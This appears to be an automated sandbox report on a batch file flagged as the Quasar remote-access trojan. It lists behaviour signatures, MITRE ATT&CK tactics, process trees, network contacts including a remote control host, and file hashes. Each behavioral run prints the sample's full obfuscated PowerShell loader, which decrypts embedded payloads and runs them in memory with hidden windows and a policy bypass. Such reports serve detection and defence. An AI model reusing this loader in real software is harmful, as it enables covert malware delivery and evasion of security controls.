Malware Analysis Report

2024-08-06 11:17

Sample ID 240614-tkb2ea1fkl
Target WiKxtRl.bat
SHA256 2f878f17890e54a4592aa7b9cd78f5b8d44e0254cf85744d94590200bed8d125
Tags
quasar home execution spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2f878f17890e54a4592aa7b9cd78f5b8d44e0254cf85744d94590200bed8d125

Threat Level: Known bad

The file WiKxtRl.bat was found to be: Known bad.

Malicious Activity Summary

quasar home execution spyware trojan

Quasar RAT

Quasar payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Looks up external IP address via web service

Program crash

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Runs ping.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Remote System Discovery
T1018
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 16:06

Signatures

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-14 16:06

Reported

2024-06-14 16:11

Platform

win11-20240508-en

Max time kernel

79s

Max time network

99s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A api.ipify.org N/A N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 468 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 468 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 468 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BiJkRz5NLnyrmEvcrNKNN2n/+U317Jums9TdEe+oIqA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XChExx/HLqzULqa7bNx00g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Xpngt=New-Object System.IO.MemoryStream(,$param_var); $icfSz=New-Object System.IO.MemoryStream; $ycFeS=New-Object System.IO.Compression.GZipStream($Xpngt, [IO.Compression.CompressionMode]::Decompress); $ycFeS.CopyTo($icfSz); $ycFeS.Dispose(); $Xpngt.Dispose(); $icfSz.Dispose(); $icfSz.ToArray();}function execute_function($param_var,$param2_var){ $JcJYG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ChnnI=$JcJYG.EntryPoint; $ChnnI.Invoke($null, $param2_var);}$NlJYy = 'C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat';$host.UI.RawUI.WindowTitle = $NlJYy;$FnwhD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NlJYy).Split([Environment]::NewLine);foreach ($YIwJb in $FnwhD) { if ($YIwJb.StartsWith(':: ')) { $ZiMPy=$YIwJb.Substring(3); break; }}$payloads_var=[string[]]$ZiMPy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2712 -ip 2712

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2712 -s 2736

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2712 -ip 2712

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2712 -s 2736

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 8.8.8.8:53 freegeoip.net udp
US 8.8.8.8:53 api.ipify.org udp
US 52.111.227.14:443 tcp

Files

memory/2712-0-0x0000000074F5E000-0x0000000074F5F000-memory.dmp

memory/2712-1-0x00000000033C0000-0x00000000033F6000-memory.dmp

memory/2712-2-0x0000000074F50000-0x0000000075701000-memory.dmp

memory/2712-3-0x0000000005BD0000-0x00000000061FA000-memory.dmp

memory/2712-4-0x0000000074F50000-0x0000000075701000-memory.dmp

memory/2712-5-0x0000000005A00000-0x0000000005A22000-memory.dmp

memory/2712-7-0x0000000006270000-0x00000000062D6000-memory.dmp

memory/2712-6-0x0000000005B20000-0x0000000005B86000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uudv115k.cxk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2712-16-0x00000000062E0000-0x0000000006637000-memory.dmp

memory/2712-17-0x0000000006780000-0x000000000679E000-memory.dmp

memory/2712-18-0x00000000067D0000-0x000000000681C000-memory.dmp

memory/2712-19-0x0000000008010000-0x000000000868A000-memory.dmp

memory/2712-20-0x0000000006D90000-0x0000000006DAA000-memory.dmp

memory/2712-21-0x0000000006DC0000-0x0000000006DC8000-memory.dmp

memory/2712-22-0x0000000007A60000-0x0000000007AFC000-memory.dmp

memory/2712-23-0x0000000007C10000-0x0000000007C44000-memory.dmp

memory/2712-24-0x0000000007C40000-0x0000000007C9E000-memory.dmp

memory/2712-25-0x0000000008C40000-0x00000000091E6000-memory.dmp

memory/2712-26-0x0000000007DB0000-0x0000000007E42000-memory.dmp

memory/2712-27-0x0000000005750000-0x0000000005762000-memory.dmp

memory/2712-29-0x0000000074F5E000-0x0000000074F5F000-memory.dmp

memory/2712-30-0x0000000074F50000-0x0000000075701000-memory.dmp

memory/2712-31-0x0000000074F50000-0x0000000075701000-memory.dmp

memory/2712-33-0x0000000074F50000-0x0000000075701000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 16:06

Reported

2024-06-14 16:11

Platform

win10-20240404-en

Max time kernel

201s

Max time network

299s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4208 wrote to memory of 96 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4208 wrote to memory of 96 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4208 wrote to memory of 96 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 96 wrote to memory of 4556 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 96 wrote to memory of 4556 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 96 wrote to memory of 4556 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4556 wrote to memory of 1964 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\chcp.com
PID 4556 wrote to memory of 1964 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\chcp.com
PID 4556 wrote to memory of 1964 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\chcp.com
PID 4556 wrote to memory of 5104 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 4556 wrote to memory of 5104 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 4556 wrote to memory of 5104 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BiJkRz5NLnyrmEvcrNKNN2n/+U317Jums9TdEe+oIqA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XChExx/HLqzULqa7bNx00g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Xpngt=New-Object System.IO.MemoryStream(,$param_var); $icfSz=New-Object System.IO.MemoryStream; $ycFeS=New-Object System.IO.Compression.GZipStream($Xpngt, [IO.Compression.CompressionMode]::Decompress); $ycFeS.CopyTo($icfSz); $ycFeS.Dispose(); $Xpngt.Dispose(); $icfSz.Dispose(); $icfSz.ToArray();}function execute_function($param_var,$param2_var){ $JcJYG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ChnnI=$JcJYG.EntryPoint; $ChnnI.Invoke($null, $param2_var);}$NlJYy = 'C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat';$host.UI.RawUI.WindowTitle = $NlJYy;$FnwhD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NlJYy).Split([Environment]::NewLine);foreach ($YIwJb in $FnwhD) { if ($YIwJb.StartsWith(':: ')) { $ZiMPy=$YIwJb.Substring(3); break; }}$payloads_var=[string[]]$ZiMPy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BAZQp1Zfuty8.bat" "

C:\Windows\SysWOW64\chcp.com

chcp 65001

C:\Windows\SysWOW64\PING.EXE

ping -n 10 localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 f.f.f.f.5.e.a.8.b.6.d.3.0.8.0.1.f.f.f.f.5.e.a.8.8.0.8.0.8.0.8.0.ip6.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 runderscore00-37568.portmap.host udp
DE 193.161.193.99:37568 runderscore00-37568.portmap.host tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 99.193.161.193.in-addr.arpa udp
DE 193.161.193.99:37568 runderscore00-37568.portmap.host tcp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 168.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 195.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 232.197.17.2.in-addr.arpa udp

Files

memory/96-2-0x000000007340E000-0x000000007340F000-memory.dmp

memory/96-3-0x0000000000E30000-0x0000000000E66000-memory.dmp

memory/96-5-0x0000000006F50000-0x0000000007578000-memory.dmp

memory/96-4-0x0000000073400000-0x0000000073AEE000-memory.dmp

memory/96-6-0x0000000006E20000-0x0000000006E42000-memory.dmp

memory/96-7-0x0000000006EC0000-0x0000000006F26000-memory.dmp

memory/96-8-0x0000000007760000-0x00000000077C6000-memory.dmp

memory/96-9-0x00000000077D0000-0x0000000007B20000-memory.dmp

memory/96-12-0x00000000076E0000-0x00000000076FC000-memory.dmp

memory/96-13-0x0000000007C40000-0x0000000007C8B000-memory.dmp

memory/96-14-0x0000000007EB0000-0x0000000007F26000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dx1pka4e.a3g.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/96-25-0x0000000073400000-0x0000000073AEE000-memory.dmp

memory/96-30-0x00000000096E0000-0x0000000009D58000-memory.dmp

memory/96-31-0x0000000008E80000-0x0000000008E9A000-memory.dmp

memory/96-32-0x0000000008EA0000-0x0000000008EA8000-memory.dmp

memory/96-33-0x0000000008F70000-0x000000000900C000-memory.dmp

memory/96-34-0x0000000009060000-0x0000000009094000-memory.dmp

memory/96-35-0x0000000009140000-0x000000000919E000-memory.dmp

memory/96-36-0x0000000009D60000-0x000000000A25E000-memory.dmp

memory/96-37-0x0000000009290000-0x0000000009322000-memory.dmp

memory/96-38-0x0000000006A80000-0x0000000006A92000-memory.dmp

memory/96-39-0x0000000009200000-0x000000000923E000-memory.dmp

memory/96-43-0x0000000009280000-0x000000000928A000-memory.dmp

memory/96-45-0x000000007340E000-0x000000007340F000-memory.dmp

memory/96-46-0x0000000073400000-0x0000000073AEE000-memory.dmp

memory/96-47-0x0000000073400000-0x0000000073AEE000-memory.dmp

memory/96-48-0x0000000073400000-0x0000000073AEE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BAZQp1Zfuty8.bat

MD5 3faec416a6069be283091d5b879a0319
SHA1 802c08b7b66524263e9734ef00cb5a83de2730b3
SHA256 f4d02872a041ccb1d698029d8b02c1c7481a8b788e2c442be3228cde2ff1151c
SHA512 4494a559f294f3d93f17bf258f69f72fbbb4ea58baded1fe3ed42354b3b94e0b3e72d834a03cfb9dae910c4c40045bc1e104fee4f672279a9576b81e616fb589

memory/96-64-0x0000000073400000-0x0000000073AEE000-memory.dmp

C:\Users\Admin\AppData\Roaming\$sxr-Logs\06-14-~1

MD5 2ad9ae100cfe28b01ad7d7b62c263787
SHA1 bb1d5f026e4a7d9a0a0cb0f2eb1695faf88f1d89
SHA256 e14dace189903e629e3aa3a7b71aabfb42ecbdf81a190349b30d36c29c9286fb
SHA512 b599ae73e97cd3548b833bdb5e8967fb0c6c1b065003fe1b46455027b03bc9e0f106240741960f9698ad28a712d7056bd86ac28c1c3ecbcf7a7584a27a64622f

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 16:06

Reported

2024-06-14 16:11

Platform

win10v2004-20240611-en

Max time kernel

120s

Max time network

203s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2528 wrote to memory of 1940 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 1940 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 1940 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BiJkRz5NLnyrmEvcrNKNN2n/+U317Jums9TdEe+oIqA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XChExx/HLqzULqa7bNx00g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Xpngt=New-Object System.IO.MemoryStream(,$param_var); $icfSz=New-Object System.IO.MemoryStream; $ycFeS=New-Object System.IO.Compression.GZipStream($Xpngt, [IO.Compression.CompressionMode]::Decompress); $ycFeS.CopyTo($icfSz); $ycFeS.Dispose(); $Xpngt.Dispose(); $icfSz.Dispose(); $icfSz.ToArray();}function execute_function($param_var,$param2_var){ $JcJYG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ChnnI=$JcJYG.EntryPoint; $ChnnI.Invoke($null, $param2_var);}$NlJYy = 'C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat';$host.UI.RawUI.WindowTitle = $NlJYy;$FnwhD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NlJYy).Split([Environment]::NewLine);foreach ($YIwJb in $FnwhD) { if ($YIwJb.StartsWith(':: ')) { $ZiMPy=$YIwJb.Substring(3); break; }}$payloads_var=[string[]]$ZiMPy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1940 -ip 1940

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 2732

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1940 -ip 1940

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 2732

Network

Country Destination Domain Proto
US 8.8.8.8:53 23.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 211.197.17.2.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 runderscore00-37568.portmap.host udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 31.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 203.131.50.23.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 219.197.17.2.in-addr.arpa udp

Files

memory/1940-0-0x0000000074FCE000-0x0000000074FCF000-memory.dmp

memory/1940-1-0x0000000003240000-0x0000000003276000-memory.dmp

memory/1940-2-0x0000000005B20000-0x0000000006148000-memory.dmp

memory/1940-3-0x0000000074FC0000-0x0000000075770000-memory.dmp

memory/1940-4-0x0000000074FC0000-0x0000000075770000-memory.dmp

memory/1940-5-0x0000000005970000-0x0000000005992000-memory.dmp

memory/1940-6-0x0000000005A10000-0x0000000005A76000-memory.dmp

memory/1940-7-0x0000000005A80000-0x0000000005AE6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1jczjxs1.wio.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1940-17-0x0000000006210000-0x0000000006564000-memory.dmp

memory/1940-18-0x0000000006730000-0x000000000674E000-memory.dmp

memory/1940-19-0x0000000006760000-0x00000000067AC000-memory.dmp

memory/1940-20-0x0000000007F30000-0x00000000085AA000-memory.dmp

memory/1940-21-0x00000000078B0000-0x00000000078CA000-memory.dmp

memory/1940-22-0x00000000078E0000-0x00000000078E8000-memory.dmp

memory/1940-23-0x00000000079D0000-0x0000000007A6C000-memory.dmp

memory/1940-24-0x0000000007B10000-0x0000000007B44000-memory.dmp

memory/1940-25-0x0000000007B40000-0x0000000007B9E000-memory.dmp

memory/1940-26-0x0000000008B60000-0x0000000009104000-memory.dmp

memory/1940-27-0x0000000007CB0000-0x0000000007D42000-memory.dmp

memory/1940-28-0x0000000005590000-0x00000000055A2000-memory.dmp

memory/1940-29-0x0000000008670000-0x00000000086AC000-memory.dmp

memory/1940-31-0x0000000074FC0000-0x0000000075770000-memory.dmp